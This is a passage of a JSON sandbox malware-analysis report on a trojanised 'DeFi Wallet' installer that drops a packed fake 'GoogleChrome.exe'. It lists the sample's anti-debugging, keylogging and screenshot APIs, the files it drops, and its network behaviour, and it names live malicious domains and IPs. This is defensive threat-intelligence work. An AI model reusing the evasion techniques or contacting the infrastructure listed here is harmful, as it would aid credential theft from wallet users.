system"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002896-17594-2-010E1C77\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002896-17594-75-010E6622\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002896-17594-448-010E17F2\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002896-17594-641-010E1E0A\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002892-27515-333-00FEFC1A\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002892-27515-609-00FEA036\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002892-27515-639-00FE9D35\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002892-27515-1127-00FEA1C9\n SetUnhandledExceptionFilter@KERNEL32.dll at 51192-556-00401A76\n SetUnhandledExceptionFilter@KERNEL32.dll at 51192-844-00402075","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-size sections","description":"Raw size of \".data\" is zero\n Raw size of \"UPX0\" is zero\n Raw size of \".ndata\" is zero","origin":"Static Parser","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"Cryptographic Related","name":"Imports Crypto related APIs","description":"Observed import api \"CryptProtectData\" which can \"performs encryption on the data\" [Source: StdUtils.dll]\n Observed import api \"CryptUnprotectData\" which can \"perform decryption and does an integrity check of the data\" [Source: StdUtils.dll]","origin":"Static Parser","mitre_attack_id":"T1471","relevance":1,"id":"static-82","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate files inside a directory","description":"FindFirstFileExW@KERNEL32.DLL at 00000000-00002896-17594-108-010EA308\n FindFirstFileW@KERNEL32.DLL at 00000000-00002892-27515-570-00FE4D40\n FindFirstFileExW@KERNEL32.DLL at 00000000-00002892-27515-662-00FF21F8\n FindFirstFileW@KERNEL32.DLL at 00000000-00002892-27515-573-00FE1C20\n FindFirstFileW@KERNEL32.DLL at 00000000-00002892-27515-575-00FE58D0\n FindFirstFileW@KERNEL32.DLL at 00000000-00002892-27515-557-00FE4780\n FindFirstFileW@KERNEL32.DLL at 00000000-00002892-27515-574-00FE5A90","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-89","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerates all mounted drives","description":"GetLogicalDrives@KERNEL32.DLL at 00000000-00002892-27515-552-00FE6630\n GetDriveTypeW@KERNEL32.DLL at 00000000-00002892-27515-556-00FE30F0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-66","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query local/system time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00002896-17594-426-010E1B64\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00002892-27515-359-00FEE878\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00002892-27515-650-00FEA29B\n FileTimeToLocalFileTime@KERNEL32.DLL at 00000000-00002892-27515-576-00FE16D0\n FileTimeToLocalFileTime@KERNEL32.DLL at 00000000-00002892-27515-559-00FE3900","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-71","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00002896-17594-426-010E1B64\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00002892-27515-359-00FEE878\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00002892-27515-650-00FEA29B","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersion@KERNEL32.DLL at 00000000-00003772-48406-1-004039ED\n GetVersion@KERNEL32.DLL at 00000000-00003772-50244-1-004039ED","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume size","description":"GetDiskFreeSpaceExW@KERNEL32.DLL at 00000000-00002892-27515-556-00FE30F0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-37","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\".exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \".exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"GoogleChrome.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"GoogleChrome.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a code branch decision directly after an API that is environment aware","description":"Found API call GetSystemTimeAsFileTime@KERNEL32.DLL directly followed by \"cmp ecx, 0483F078h\" and \"jnle 00FEE8C3h\" at 00000000-00002892-27515-359-00FEE878\n Found API call GetDiskFreeSpaceExW@KERNEL32.DLL directly followed by \"cmp esi, 05h\" and \"jne 00FE34CDh\" at 00000000-00002892-27515-556-00FE30F0\n Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp ax, cx\" and \"je 00403A39h\" at 00000000-00003772-48406-1-004039ED\n Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp ax, cx\" and \"je 00403A39h\" at 00000000-00003772-50244-1-004039ED","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"Environment Awareness","name":"Possibly tries to detect the presence of a debugger","description":"GetProcessHeap@KERNEL32.DLL at 00000000-00002896-17594-644-010EBE37\n GetProcessHeap@KERNEL32.DLL at 00000000-00002892-27515-1136-00FF2E92\n GetProcessHeap@KERNEL32.dll at 51192-859-0040AC12","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\".exe\" queries volume information of \"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\DeFi Wallet.exe\" at 00000000-00003772-00000046-22661926\n \".exe\" queries volume information of \"C:\\\" at 00000000-00003772-00000046-37894563\n \".exe\" queries volume information of \"C:\\\" at 00000000-00003772-00000046-38257941\n \".exe\" queries volume information of \"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\DeFi Wallet.exe\" at 00000000-00003772-00000046-38261731","origin":"API Call","mitre_attack_id":"T1120","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\".exe\" queries volume information of \"C:\\\" at 00000000-00003772-00000046-37894563\n \".exe\" queries volume information of \"C:\\\" at 00000000-00003772-00000046-38257941","origin":"API Call","mitre_attack_id":"T1120","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\".exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\0D683F56F2B3D836A6576C2D33701144A582B9815F9437407C240AA97601FB8F.EXE\")\n \".exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\0D683F56F2B3D836A6576C2D33701144A582B9815F9437407C240AA97601FB8F.EXE\")\n \".exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\\645B5191-C0B4-5FBC-B551-892E177318A7\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"emsystec.com\"\n \"www.gyro3d.com\"\n \"www.newbusantour.co.kr\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"110.10.189.167:80\"\n \"175.207.13.8:80\"\n \"121.88.249.120:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"Sleep@KERNEL32.DLL at 00000000-00002892-27515-825-00FE4096\n Sleep@KERNEL32.DLL at 00000000-00002892-27515-864-00FE7577\n Sleep@KERNEL32.DLL at 00000000-00002892-27515-552-00FE6630\n Sleep@KERNEL32.DLL at 00000000-00002892-27515-357-00FE6940\n Sleep@KERNEL32.DLL at 00000000-00002892-27515-553-00FE5E20\n Sleep@KERNEL32.DLL at 00000000-00002892-27515-259-00FFB000","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryExW@KERNEL32.DLL at 00000000-00002896-17594-60-010E29DE\n LoadLibraryExW@KERNEL32.DLL at 00000000-00002896-17594-12-010EB9E8\n LoadLibraryExW@KERNEL32.DLL at 00000000-00002892-27515-596-00FEAC83\n LoadLibraryExW@KERNEL32.DLL at 00000000-00003772-48406-24-0040643F","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"General","name":"Contains export functions","description":"$25","origin":"Static Parser","relevance":1,"id":"static-78","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"\"Software\\Microsoft\\Windows\\CurrentVersion\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\645b5191-c0b4-5fbc-b551-892e177318a7\"\n \"645b5191-c0b4-5fbc-b551-892e177318a7\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"$26","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"General","name":"Found API related strings","description":"$27","origin":"File/Memory","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\".exe\" loaded module \"%WINDIR%\\SysWOW64\\riched20.dll\" at 73E80000","origin":"Loaded Module","id":"module-2","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$28","origin":"Registry Access","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"libEGL.dll\" has an executable section named \".text\"\n \"System.dll\" has an executable section named \".text\"\n \"StdUtils.dll\" has an executable section named \".text\"\n \"elevate.exe\" has an executable section named \".text\"\n \"nsProcess.dll\" has an executable section named \".text\"\n \"ffmpeg.dll\" has an executable section named \".text\"\n \"vk_swiftshader.dll\" has an executable section named \".text\"\n \"libGLESv2.dll\" has an executable section named \".text\"\n \"nsDialogs.dll\" has an executable section named \".text\"\n \"GoogleChrome.exe\" has an executable section named \"UPX0\"\n \"GoogleChrome.exe\" has an executable section named \"UPX1\"\n \"nsis7z.dll\" has an executable section named \".text\"\n \"UAC.dll\" has an executable section named \".text\"\n \"d3dcompiler_47.dll\" has an executable section named \".text\"\n \"Uninstall DeFi Wallet.exe\" has an executable section named \".text\"\n \"vulkan-1.dll\" has an executable section named \".text\"\n \"WinShell.dll\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"$29","origin":"Static Parser","relevance":1,"id":"static-95","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$2a","origin":"Static Parser","relevance":1,"id":"static-96","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"GoogleChrome.exe\" (UID: 00000000-00002892) was launched with new environment variables: \"PROCESSOR_ARCHITEW6432=\"AMD64\"\"\n Process \"GoogleChrome.exe\" (UID: 00000000-00002892) was launched with modified environment variables: \"CommonProgramFiles, PROCESSOR_ARCHITECTURE, ProgramFiles\"","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"bitseed.xf2.org\"\n \"emsystec.com\"\n \"www.gyro3d.com\"\n \"www.newbusantour.co.kr\"\n \"x9.seed.defichain.io\"\n \"x9.seed.mydeficha.in\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\".exe\" searching for class \"#32770\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"GoogleChrome.exe\" with commandline \"\"C:\\0d683f56f2b3d836a6576c2d33701144a582b9815f9437407c240aa97601 ...\" (UID: 00000000-00002892), Spawned process \".exe\" (UID: 00000000-00003772)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"GoogleChrome.exe\" with commandline \"\"C:\\0d683f56f2b3d836a6576c2d33701144a582b9815f9437407c240aa97601 ...\" (UID: 00000000-00002892), Spawned process \".exe\" (UID: 00000000-00003772)","origin":"Monitored Target","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\".exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$2b","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$2c","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$2d","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"\".exe\" called \"CreateCompatibleBitmap\" (UID: 00000000-00003772)","origin":"API Call","mitre_attack_id":"T1113","relevance":3,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Observed api string:\"FindNextFileW\" [Source: 0d683f56f2b3d836a6576c2d33701144a582b9815f9437407c240aa97601fb8f.bin]","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate processes (API string)","description":"Observed api string:\"CreateToolhelp32Snapshot\" [Source: 59093-4-100010D0]\n Observed api string:\"Process32First\" [Source: 59093-4-100010D0]\n Observed api string:\"Process32Next\" [Source: 59093-4-100010D0]","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about pressed keystrokes (API string)","description":"Observed api string:\"GetAsyncKeyState\" [Source: 0d683f56f2b3d836a6576c2d33701144a582b9815f9437407c240aa97601fb8f.bin]","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Observed api string:\"GetEnvironmentVariableW\" [Source: elevate.exe.516733896]","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: libEGL.dll]\n Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: elevate.exe]\n Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: ffmpeg.dll]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetEnvironmentVariable API","description":"Observed import api \"GetEnvironmentVariable\" which can \"read the host's architecture\" [Source: elevate.exe]","origin":"Static Parser","mitre_attack_id":"T1082","relevance":1,"id":"static-81","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"System Security","name":"Contains ability to enable or disable privileges in the specified access token (API string)","description":"Observed api string:\"AdjustTokenPrivileges\" [Source: 0d683f56f2b3d836a6576c2d33701144a582b9815f9437407c240aa97601fb8f.bin]","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"Observed api string:\"SetFileSecurityW which can Sets the security of a file or directory object\"[Source: 0d683f56f2b3d836a6576c2d33701144a582b9815f9437407c240aa97601fb8f.bin]","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"System Security","name":"Contains ability to use security policy setting (API string)","description":"Observed api string:\"SeShutdownPrivilege which can Shut down the system\"[Source: 0d683f56f2b3d836a6576c2d33701144a582b9815f9437407c240aa97601fb8f.bin]","origin":"File/Memory","mitre_attack_id":"T1548","relevance":3,"id":"string-97","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"GoogleChrome.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"Observed import api \"SetFileSecurityW\" which can \"Sets the security of a file or directory object\" [Source: nsis7z.dll]\n Observed import api \"EqualSid\" which can \"Tests two security identifier (SID) values for equality\" [Source: UAC.dll]\n Observed import api \"GetTokenInformation\" which can \"Retrieves a specified type of information about an access token\" [Source: UAC.dll]\n Observed import api \"SetFileSecurityW\" which can \"Sets the security of a file or directory object\" [Source: Uninstall DeFi Wallet.exe]","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"GoogleChrome.exe\" opened \"\\Device\\KsecDD\"\n \".exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"$2e","origin":"Binary File","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"elevate.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"GoogleChrome.exe\" was detected as \"Netopsystems FEAD Optimizer 1\"\n \"nsis7z.dll\" was detected as \"Borland Delphi 3.0 (???)\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":"UPX1 with unusual entropies 7.90429010383","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file is packed with UPX","description":"\"GoogleChrome.exe\" has a section named \"UPX0\"\n \"GoogleChrome.exe\" has a section named \"UPX1\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-7","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Contains key cryptographic functions of the CryptoAPI","description":"CryptAcquireContextW@ADVAPI32.DLL at 00000000-00002892-27515-504-00FE22D0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1486","relevance":4,"id":"stream-10","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"GoogleChrome.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \".exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least three reputation engines","description":"7/89 reputation engines marked \"http://emsystec.com\" as malicious (7% detection rate)\n 7/88 reputation engines marked \"http://www.gyro3d.com/common/faq.asp\" as malicious (7% detection rate)\n 8/88 reputation engines marked \"http://emsystec.com/include/inc.asp\" as malicious (9% detection rate)\n 3/88 reputation engines marked \"http://www.newbusantour.co.kr\" as malicious (3% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"28/65 Antivirus vendors marked sample as malicious (43% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"LoadResource@KERNEL32.DLL at 00000000-00002896-17594-211-010E1010","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"suspicious","category":"General","name":"POSTs files to a webserver","description":"$2f","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"suspicious","category":"General","name":"Reads configuration files","description":"\".exe\" read file \"%USERPROFILE%\\Desktop\\desktop.ini\"","origin":"API Call","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$30","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$31","origin":"API Call","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"1.1.4.0\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 110.10.189.167 on port 80 is sent without HTTP header\n TCP traffic to 175.207.13.8 on port 80 is sent without HTTP header\n TCP traffic to 121.88.249.120 on port 80 is sent without HTTP header","origin":"Network Traffic","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"suspicious","category":"Network Related","name":"Uses a User Agent typical for browsers, although no browser was ever launched","description":"Found user agent(s): Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)","origin":"Network Traffic","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"suspicious","category":"Pattern Matching","name":"Contains ability to download files from the internet","description":"InternetReadFile@WININET.DLL at 00000000-00002892-27515-500-00FE9400","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1105","relevance":10,"id":"stream-17","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"GoogleChrome.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"GoogleChrome.exe\" marked \"%ALLUSERSPROFILE%\\Microsoft\\CM202025.exe\" for deletion\n \".exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsm7706.tmp\" for deletion\n \".exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsd793A.tmp\" for deletion\n \".exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsd793A.tmp\\app-64.7z\" for deletion\n \".exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsd793A.tmp\\modern-wizard.bmp\" for deletion\n \".exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsd793A.tmp\\nsDialogs.dll\" for deletion\n \".exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsd793A.tmp\\nsis7z.dll\" for deletion\n \".exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsd793A.tmp\\nsProcess.dll\" for deletion","origin":"API 